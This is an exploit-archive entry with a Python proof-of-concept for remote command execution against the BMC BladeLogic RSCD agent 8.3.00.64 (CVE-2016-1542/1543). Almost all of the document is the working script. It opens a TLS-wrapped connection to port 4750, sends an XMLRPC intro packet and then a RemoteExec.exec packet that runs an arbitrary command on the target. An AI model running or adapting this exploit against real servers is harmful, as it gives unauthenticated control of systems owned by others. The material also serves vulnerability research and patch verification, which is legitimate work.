BMC BladeLogic 8.3.00.64 - Remote Command Execution

Properties

Published:
26.01.2018
Target:
BMC BladeLogic 8.3.00.64

Code

# Exploit Title: BMC BladeLogic RSCD agent remote exec - XMLRPC version
# Filename: BMC_rexec.py
# Github: https://github.com/bao7uo/bmc_bladelogic
# Date: 2018-01-24
# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog
# Version: BMC RSCD agent 8.3.00.64
# CVE: CVE-2016-1542 (BMC-2015-0010), CVE-2016-1543 (BMC-2015-0011)
# Vendor Advisory: https://docs.bmc.com/docs/ServerAutomation/87/release-notes-and-notices/flashes/notification-of-critical-security-issue-in-bmc-server-automation-cve-2016-1542-cve-2016-1543
# Tested on: 8.3.00.64
 
#!/usr/bin/python
 
# BMC BladeLogic RSCD agent remote exec - XMLRPC version
# CVE: CVE-2016-1542 (BMC-2015-0010), CVE-2016-1543 (BMC-2015-0011)
 
# By Paul Taylor / Foregenix Ltd
 
# Credit: https://github.com/ernw/insinuator-snippets/tree/master/bmc_bladelogic
# Credit: https://github.com/yaolga
 
# Credit: Nick Bloor for AWS image for testing :-)
# https://github.com/NickstaDB/PoC/tree/master/BMC_RSCD_RCE
 
import socket
import ssl
import sys
import argparse
import requests
import httplib
from requests.packages.urllib3 import PoolManager
from requests.packages.urllib3.connection import HTTPConnection
from requests.packages.urllib3.connectionpool import HTTPConnectionPool
from requests.adapters import HTTPAdapter
 
 
class MyHTTPConnection(HTTPConnection):
    def __init__(self, unix_socket_url, timeout=60):
        HTTPConnection.__init__(self, HOST, timeout=timeout)
        self.unix_socket_url = unix_socket_url
        self.timeout = timeout
 
    def connect(self):
        self.sock = wrappedSocket
 
 
class MyHTTPConnectionPool(HTTPConnectionPool):
    def __init__(self, socket_path, timeout=60):
        HTTPConnectionPool.__init__(self, HOST, timeout=timeout)
        self.socket_path = socket_path
        self.timeout = timeout
 
    def _new_conn(self):
        return MyHTTPConnection(self.socket_path, self.timeout)
 
 
class MyAdapter(HTTPAdapter):
    def __init__(self, timeout=60):
        super(MyAdapter, self).__init__()
        self.timeout = timeout
 
    def get_connection(self, socket_path, proxies=None):
        return MyHTTPConnectionPool(socket_path, self.timeout)
 
    def request_url(self, request, proxies):
        return request.path_url
 
 
def optParser():
    parser = argparse.ArgumentParser(
                        description="Remote exec " +
                        "BladeLogic Server Automation RSCD agent"
                    )
    parser.add_argument("host", help="IP address of a target system")
    parser.add_argument(
            "-p",
            "--port",
            type=int,
            default=4750,
            help="TCP port (default: 4750)"
            )
    parser.add_argument("command", help="Command to execute")
    opts = parser.parse_args()
    return opts
 
 
def sendXMLRPC(host, port, packet, tlsrequest):
    r = tlsrequest.post(
            'http://' + host + ':' + str(port) + '/xmlrpc', data=packet
        )
    print r.status_code
    print r.content
    return
 
 
intro = """RemoteServer.intro2016-1-14-18-10-30-392095870;0;21;AArverManagement_XXX_XXX:XXXXXXXX;2;CM;-;-;0;-;1;1;6;SYSTEM;CP1252;8.6.01.66"""
options = optParser()
rexec = options.command
PORT = options.port
HOST = options.host
rexec = """RemoteExec.exec""" + rexec  + """"""
 
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
 
sock.sendall("TLSRPC")
wrappedSocket = ssl.wrap_socket(sock)
 
adapter = MyAdapter()
s = requests.session()
s.mount("http://", adapter)
 
sendXMLRPC(HOST, PORT, intro, s)
sendXMLRPC(HOST, PORT, rexec, s)
 
wrappedSocket.close()